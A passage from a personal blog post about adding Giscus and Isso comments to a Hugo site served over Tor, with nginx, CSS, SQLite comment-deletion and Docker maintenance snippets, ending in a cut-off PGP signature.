||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">server_name</span> <span style="color:#e6db74">fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion</span> 127.0.0.1 <span style="color:#e6db74">localhost</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Referrer-Policy</span> <span style="color:#e6db74">no-referrer</span> <span style="color:#e6db74">always</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">add_header</span> <span style="color:#e6db74">X-Content-Type-Options</span> <span style="color:#e6db74">nosniff</span> <span style="color:#e6db74">always</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">add_header</span> <span style="color:#e6db74">X-Frame-Options</span> <span style="color:#e6db74">SAMEORIGIN</span> <span style="color:#e6db74">always</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">root</span> <span style="color:#e6db74">/srv/hugo/mysite/public-onion</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">index</span> <span style="color:#e6db74">index.html</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">location</span> <span style="color:#e6db74">/</span> { <span style="color:#f92672">try_files</span> $uri $uri/ <span style="color:#e6db74">/index.html</span>; }
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># /isso -> /isso/
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#f92672">location</span> = <span style="color:#e6db74">/isso</span> { <span style="color:#f92672">return</span> <span style="color:#ae81ff">301</span> <span style="color:#e6db74">/isso/</span>; }
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># IMPORTANT: this must beat regex locations below
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#f92672">location</span> <span style="color:#e6db74">^~</span> <span style="color:#e6db74">/isso/</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_pass</span> <span style="color:#e6db74">http://127.0.0.1:8080/</span>; <span style="color:#75715e"># Isso container/port
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#f92672">proxy_http_version</span> <span style="color:#ae81ff">1</span><span style="color:#e6db74">.1</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Host</span> $host;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Host</span> $host;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Proto</span> $scheme;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-For</span> $proxy_add_x_forwarded_for;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_redirect</span> <span style="color:#66d9ef">off</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_read_timeout</span> <span style="color:#e6db74">60s</span>;
|
||||
</span></span><span style="display:flex;"><span> }
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># static
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#f92672">location</span> ~<span style="color:#e6db74">*</span> <span style="color:#e6db74">\\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)</span>$ {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">access_log</span> <span style="color:#66d9ef">off</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Cache-Control</span> <span style="color:#e6db74">"public,</span> <span style="color:#e6db74">max-age=31536000,</span> <span style="color:#e6db74">immutable"</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">try_files</span> $uri =<span style="color:#ae81ff">404</span>;
|
||||
</span></span><span style="display:flex;"><span> }
|
||||
</span></span><span style="display:flex;"><span>}
|
||||
</span></span></code></pre></div><p>Reload and smoke test:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo nginx -t <span style="color:#f92672">&&</span> sudo systemctl reload nginx
|
||||
</span></span><span style="display:flex;"><span>curl -I http://<your-onion-host>/isso/js/embed.min.js <span style="color:#75715e"># expect 200</span>
|
||||
</span></span></code></pre></div><blockquote>
|
||||
<p>If you ever point <code>data-isso</code> to a <strong>different origin</strong>, add CORS headers on that vhost. For same-origin (<code>data-isso="/isso"</code>), you don’t need CORS.</p></blockquote>
|
||||
<h2 id="small-css-tweaks-one-color-across-lightdark--spacing">Small CSS tweaks (one color across light/dark + spacing)</h2>
|
||||
<p>I wanted the same blue for <strong>reply / edit / delete</strong> links and for <strong>Submit / Preview</strong> buttons, in both themes, and a little spacing:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-css" data-lang="css"><span style="display:flex;"><span><span style="color:#75715e">/* put this in your site CSS */</span>
|
||||
</span></span><span style="display:flex;"><span>:<span style="color:#a6e22e">root</span> { --btn-blue: <span style="color:#ae81ff">#2563eb</span>; } <span style="color:#75715e">/* adjust to taste */</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Isso form buttons */</span>
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">isso-post-action</span> <span style="color:#f92672">input</span><span style="color:#f92672">[</span><span style="color:#f92672">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">"submit"</span><span style="color:#f92672">],</span>
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">isso-post-action</span> <span style="color:#f92672">input</span><span style="color:#f92672">[</span><span style="color:#f92672">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">"preview"</span><span style="color:#f92672">]</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">background</span>: <span style="color:#a6e22e">var</span>(<span style="color:#f92672">--</span>btn<span style="color:#f92672">-</span><span style="color:#66d9ef">blue</span>) <span style="color:#75715e">!important</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">color</span>: <span style="color:#ae81ff">#fff</span> <span style="color:#75715e">!important</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">border</span>: <span style="color:#66d9ef">none</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">padding</span>: <span style="color:#ae81ff">.5</span><span style="color:#66d9ef">rem</span> <span style="color:#ae81ff">.75</span><span style="color:#66d9ef">rem</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">border-radius</span>: <span style="color:#ae81ff">.4</span><span style="color:#66d9ef">rem</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">cursor</span>: <span style="color:#66d9ef">pointer</span>;
|
||||
</span></span><span style="display:flex;"><span>}
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* link actions under comments */</span>
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">isso-comment-footer</span> <span style="color:#f92672">a</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">color</span>: <span style="color:#a6e22e">var</span>(<span style="color:#f92672">--</span>btn<span style="color:#f92672">-</span><span style="color:#66d9ef">blue</span>) <span style="color:#75715e">!important</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">margin-right</span>: <span style="color:#ae81ff">.5</span><span style="color:#66d9ef">rem</span>; <span style="color:#75715e">/* gives "edit" and "delete" some breathing room */</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">text-decoration</span>: <span style="color:#66d9ef">none</span>;
|
||||
</span></span><span style="display:flex;"><span>}
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">isso-comment-footer</span> <span style="color:#f92672">a</span>:<span style="color:#a6e22e">hover</span> { <span style="color:#66d9ef">text-decoration</span>: <span style="color:#66d9ef">underline</span>; }
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* keep name/email/website stacked, slightly larger */</span>
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">isso-auth-section</span> .<span style="color:#a6e22e">isso-input-wrapper</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">display</span>: <span style="color:#66d9ef">block</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">margin</span>: <span style="color:#ae81ff">.35</span><span style="color:#66d9ef">rem</span> <span style="color:#ae81ff">0</span>;
|
||||
</span></span><span style="display:flex;"><span>}
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">isso-auth-section</span> <span style="color:#f92672">label</span> { <span style="color:#66d9ef">font-size</span>: <span style="color:#ae81ff">.95</span><span style="color:#66d9ef">rem</span>; }
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">isso-auth-section</span> <span style="color:#f92672">input</span><span style="color:#f92672">[</span><span style="color:#f92672">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">"text"</span><span style="color:#f92672">],</span>
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">isso-auth-section</span> <span style="color:#f92672">input</span><span style="color:#f92672">[</span><span style="color:#f92672">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">"email"</span><span style="color:#f92672">],</span>
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">isso-auth-section</span> <span style="color:#f92672">input</span><span style="color:#f92672">[</span><span style="color:#f92672">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">"url"</span><span style="color:#f92672">]</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">width</span>: <span style="color:#ae81ff">100</span><span style="color:#66d9ef">%</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">font-size</span>: <span style="color:#ae81ff">1</span><span style="color:#66d9ef">rem</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">padding</span>: <span style="color:#ae81ff">.5</span><span style="color:#66d9ef">rem</span> <span style="color:#ae81ff">.6</span><span style="color:#66d9ef">rem</span>;
|
||||
</span></span><span style="display:flex;"><span>}
|
||||
</span></span></code></pre></div><h2 id="what-changed-the-fixes-i-actually-made">What changed (the fixes I actually made)</h2>
|
||||
<ol>
|
||||
<li>
|
||||
<p><strong>Theme correctness for Giscus.</strong><br>
|
||||
PaperMod doesn’t add <code>.light</code>—it only toggles <code>.dark</code> and stores <code>pref-theme</code>. I now:</p>
|
||||
<ul>
|
||||
<li>read <code>localStorage.pref-theme</code> first,</li>
|
||||
<li>fall back to class/data-theme, then</li>
|
||||
<li>fall back to OS preference.<br>
|
||||
I also re-theme the Giscus iframe on every toggle via <code>postMessage</code>.</li>
|
||||
</ul>
|
||||
</li>
|
||||
<li>
|
||||
<p><strong>Isso over Tor.</strong><br>
|
||||
On the <code>.onion</code> vhost, I moved the proxy to a <code>^~ /isso/</code> block so it beats the static regex. That fixed the <code>404</code> on <code>/isso/js/embed.min.js</code>.</p>
|
||||
</li>
|
||||
<li>
|
||||
<p><strong>UI polish.</strong></p>
|
||||
<ul>
|
||||
<li>Unified button/link color across themes,</li>
|
||||
<li>ensured “edit”/“delete” aren’t touching,</li>
|
||||
<li>kept the author/email/website inputs <strong>stacked</strong>, and</li>
|
||||
<li>left <strong>Submit</strong>/<strong>Preview</strong> styled and grouped.</li>
|
||||
</ul>
|
||||
</li>
|
||||
</ol>
|
||||
<h2 id="sanity-check">Sanity check</h2>
|
||||
<ul>
|
||||
<li>Toggle the theme: Giscus switches between <code>noborder_light</code> and <code>dark_dimmed</code> without reload.</li>
|
||||
<li>Open DevTools → Network on onion: <code>/isso/js/embed.min.js</code> loads with <strong>200</strong>.</li>
|
||||
<li>Switcher buttons swap panels instantly; Giscus only loads when clicked.</li>
|
||||
</ul>
|
||||
<h2 id="8-final-notes">8) Final notes!</h2>
|
||||
<p>I could not fully fix the style of Isso.
|
||||
CSS is not easy… drat!</p>
|
||||
<p>I don’t think anyone actually reads the blog, let alone comment on it.
|
||||
But it felt cool to have a comment section and also RSS for it.
|
||||
I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I’m happy with it! ^^</p>
|
||||
<h1 id="admin-note--delete-all-isso-comments-for-a-single-post">Admin note — Delete all <strong>Isso</strong> comments for a single post</h1>
|
||||
<p>This note is for future me: how to remove every comment tied to one post in <strong>Isso</strong>.<br>
|
||||
Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or <code>.onion</code> — because this operates directly on the database.</p>
|
||||
<hr>
|
||||
<h2 id="tldr-host-with-sqlite">TL;DR (host with SQLite)</h2>
|
||||
<blockquote>
|
||||
<p>Replace the placeholders for <code>DB</code> and <code>POST_URI</code> first.</p></blockquote>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># 0) Variables — edit these two lines for your setup</span>
|
||||
</span></span><span style="display:flex;"><span>DB<span style="color:#f92672">=</span><span style="color:#e6db74">"/var/lib/isso/comments.db"</span> <span style="color:#75715e"># path to your Isso SQLite DB (check isso.conf: [general] dbpath)</span>
|
||||
</span></span><span style="display:flex;"><span>POST_URI<span style="color:#f92672">=</span><span style="color:#e6db74">"/posts/skin_routine/"</span> <span style="color:#75715e"># the post's URI as stored by Isso (often just the path)</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 1) Backup (always do this!)</span>
|
||||
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span> <span style="color:#e6db74">".backup '</span><span style="color:#66d9ef">$(</span>dirname <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span><span style="color:#66d9ef">)</span><span style="color:#e6db74">/comments.</span><span style="color:#66d9ef">$(</span>date +%F-%H%M%S<span style="color:#66d9ef">)</span><span style="color:#e6db74">.backup.sqlite3'"</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 2) Inspect: find the thread row and preview the comments</span>
|
||||
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span> <span style="color:#e6db74">"
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">.headers on
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">.mode column
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SELECT id, uri FROM threads WHERE uri LIKE '%' || '</span>$POST_URI<span style="color:#e6db74">' || '%';
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SELECT id, tid, created, author, text
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">FROM comments
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '</span>$POST_URI<span style="color:#e6db74">' || '%')
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">ORDER BY created DESC
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">LIMIT 25;
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">"</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 3) Delete all comments for that post (thread)</span>
|
||||
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span> <span style="color:#e6db74">"
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">DELETE FROM comments
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '</span>$POST_URI<span style="color:#e6db74">' || '%');
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">"</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 4) (Optional) Remove the now-empty thread row too</span>
|
||||
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span> <span style="color:#e6db74">"
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">DELETE FROM threads WHERE uri LIKE '%' || '</span>$POST_URI<span style="color:#e6db74">' || '%';
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">VACUUM;
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">"</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 5) Done. Isso usually picks this up automatically.</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># If you're containerized and want to be safe:</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># docker restart <isso_container_name></span>
|
||||
</span></span></code></pre></div><hr>
|
||||
<h2 id="if-running-isso-in-docker">If running Isso in Docker</h2>
|
||||
<p>Open a shell in the container, then run the same steps:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker exec -it <isso_container_name> /bin/sh
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Inside the container:</span>
|
||||
</span></span><span style="display:flex;"><span>DB<span style="color:#f92672">=</span><span style="color:#e6db74">"/db/comments.db"</span> <span style="color:#75715e"># or /data/comments.db, check your image/volume mapping</span>
|
||||
</span></span><span style="display:flex;"><span>POST_URI<span style="color:#f92672">=</span><span style="color:#e6db74">"/posts/skin_routine/"</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span> <span style="color:#e6db74">".backup '/db/comments.</span><span style="color:#66d9ef">$(</span>date +%F-%H%M%S<span style="color:#66d9ef">)</span><span style="color:#e6db74">.backup.sqlite3'"</span>
|
||||
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span> <span style="color:#e6db74">"SELECT id, uri FROM threads WHERE uri LIKE '%' || '</span>$POST_URI<span style="color:#e6db74">' || '%';"</span>
|
||||
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span> <span style="color:#e6db74">"DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '</span>$POST_URI<span style="color:#e6db74">' || '%');"</span>
|
||||
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span> <span style="color:#e6db74">"DELETE FROM threads WHERE uri LIKE '%' || '</span>$POST_URI<span style="color:#e6db74">' || '%'; VACUUM;"</span>
|
||||
</span></span><span style="display:flex;"><span>exit
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Optionally restart the container:</span>
|
||||
</span></span><span style="display:flex;"><span>docker restart <isso_container_name>
|
||||
</span></span></code></pre></div><hr>
|
||||
<h2 id="notes--gotchas">Notes & gotchas</h2>
|
||||
<ul>
|
||||
<li><strong>Find the real DB path</strong>: In <code>isso.conf</code> (often <code>/etc/isso/isso.conf</code> or within your container at <code>/config/isso.conf</code>), look for:
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ini" data-lang="ini"><span style="display:flex;"><span><span style="color:#66d9ef">[general]</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">dbpath</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">/var/lib/isso/comments.db</span>
|
||||
</span></span></code></pre></div></li>
|
||||
<li><strong>What goes in <code>POST_URI</code>?</strong> Isso stores a <code>uri</code> string per thread. With the default embed config, it’s usually the <strong>path</strong> (<code>/posts/<slug>/</code>). If you’re unsure, list recent threads:
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span> <span style="color:#e6db74">".headers on"</span> <span style="color:#e6db74">".mode column"</span> <span style="color:#e6db74">"SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;"</span>
|
||||
</span></span></code></pre></div></li>
|
||||
<li><strong>Clearnet vs <code>.onion</code></strong>: If you load the same post under multiple origins <em>and</em> your embed setup stores full origins, you may have <strong>multiple thread rows</strong>. The <code>LIKE</code> query above deliberately matches any uri containing your <code>POST_URI</code> to catch those.</li>
|
||||
<li><strong>Rollback</strong>: To undo, stop Isso (optional), replace the DB with your backup (<code>comments.YYYY-MM-DD-HHMMSS.backup.sqlite3</code>), and start Isso again.</li>
|
||||
<li><strong>HTTP API option</strong>: Isso supports <code>DELETE /<comment_id></code> if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly.</li>
|
||||
<li><strong>Safety</strong>: Always run a backup first, and <strong>preview with the SELECT</strong> before you run the DELETE.</li>
|
||||
</ul>
|
||||
<hr>
|
||||
<h2 id="one-liners-for-the-impatient">One-liners for the impatient</h2>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>DB<span style="color:#f92672">=</span><span style="color:#e6db74">"/var/lib/isso/comments.db"</span>; POST_URI<span style="color:#f92672">=</span><span style="color:#e6db74">"/posts/skin_routine/"</span>
|
||||
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span> <span style="color:#e6db74">".backup '</span><span style="color:#66d9ef">$(</span>dirname <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span><span style="color:#66d9ef">)</span><span style="color:#e6db74">/comments.</span><span style="color:#66d9ef">$(</span>date +%F-%H%M%S<span style="color:#66d9ef">)</span><span style="color:#e6db74">.backup.sqlite3'"</span>
|
||||
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span> <span style="color:#e6db74">"DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '</span>$POST_URI<span style="color:#e6db74">' || '%');"</span>
|
||||
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span> <span style="color:#e6db74">"DELETE FROM threads WHERE uri LIKE '%' || '</span>$POST_URI<span style="color:#e6db74">' || '%'; VACUUM;"</span>
|
||||
</span></span></code></pre></div><hr>
|
||||
<p><strong>Isso container: quick checks & fixes for future me! (thank past me later ^^)</strong></p>
|
||||
<p><strong>Find the container</strong></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker ps -a --format <span style="color:#e6db74">'table {{.ID}} {{.Names}} {{.Status}} {{.Ports}}'</span> | grep -i isso
|
||||
</span></span></code></pre></div><p><strong>Inspect basic state</strong></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker inspect -f <span style="color:#e6db74">'Name={{.Name}} Running={{.State.Running}} Status={{.State.Status}} StartedAt={{.State.StartedAt}} FinishedAt={{.State.FinishedAt}}'</span> isso
|
||||
</span></span></code></pre></div><p><strong>Logs</strong></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker logs --tail<span style="color:#f92672">=</span><span style="color:#ae81ff">200</span> isso
|
||||
</span></span><span style="display:flex;"><span>docker logs -f isso
|
||||
</span></span></code></pre></div><p><strong>Ports & reachability</strong></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker port isso
|
||||
</span></span><span style="display:flex;"><span>sudo ss -ltnp | grep <span style="color:#e6db74">':8080 '</span>
|
||||
</span></span><span style="display:flex;"><span>curl -i http://127.0.0.1:8080/
|
||||
</span></span></code></pre></div><p><strong>Restart policy (keep it running)</strong></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker inspect -f <span style="color:#e6db74">'{{.HostConfig.RestartPolicy.Name}}'</span> isso
|
||||
</span></span><span style="display:flex;"><span>docker update --restart unless-stopped isso
|
||||
</span></span></code></pre></div><p><strong>Start/stop the container</strong></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker start isso
|
||||
</span></span><span style="display:flex;"><span>docker stop isso
|
||||
</span></span></code></pre></div><p><strong>Who/what stopped it (events)</strong></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker events --since 24h --filter container<span style="color:#f92672">=</span>isso
|
||||
</span></span></code></pre></div><p><strong>Common config issue: duplicate options/sections</strong>
|
||||
If logs show DuplicateOptionError or DuplicateSectionError, fix <code>/config/isso.cfg</code> (remove duplicate <code>[server]</code> blocks or duplicate <code>public-endpoint</code>).</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>nl -ba /config/isso.cfg | sed -n <span style="color:#e6db74">'1,120p'</span>
|
||||
</span></span><span style="display:flex;"><span>grep -n <span style="color:#e6db74">'^\[server\]'</span> /config/isso.cfg
|
||||
</span></span><span style="display:flex;"><span>grep -n <span style="color:#e6db74">'^public-endpoint'</span> /config/isso.cfg
|
||||
</span></span></code></pre></div><p><strong>Using Docker Compose</strong> <em>(run these in the directory with your compose file)</em></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose ps
|
||||
</span></span><span style="display:flex;"><span>docker compose logs --tail<span style="color:#f92672">=</span><span style="color:#ae81ff">200</span> isso
|
||||
</span></span><span style="display:flex;"><span>docker compose up -d isso
|
||||
</span></span></code></pre></div><p><strong>If the container doesn’t exist (create/recreate)</strong></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker image ls | grep -i isso
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span>docker run -d --name isso -p 8080:8080 -v /srv/isso/config:/config -v /srv/isso/db:/db --restart unless-stopped ghcr.io/posativ/isso:latest
|
||||
</span></span></code></pre></div><p><strong>Optional: exclude from auto-updaters (like Watchtower)</strong></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker update --label-add com.centurylinklabs.watchtower.enable<span style="color:#f92672">=</span>false isso
|
||||
</span></span></code></pre></div><p><em>This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix.</em></p>
|
||||
<hr>
|
||||
<div class="signature-block" style="margin-top:1rem">
|
||||
<p><strong>Downloads:</strong>
|
||||
<a href="/sources/posts/new_features.md">Markdown</a> ·
|
||||
<a href="/sources/posts/new_features.md.asc">Signature (.asc)</a>
|
||||
</p><details class="signature">
|
||||
<summary>View OpenPGP signature</summary>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
|
||||
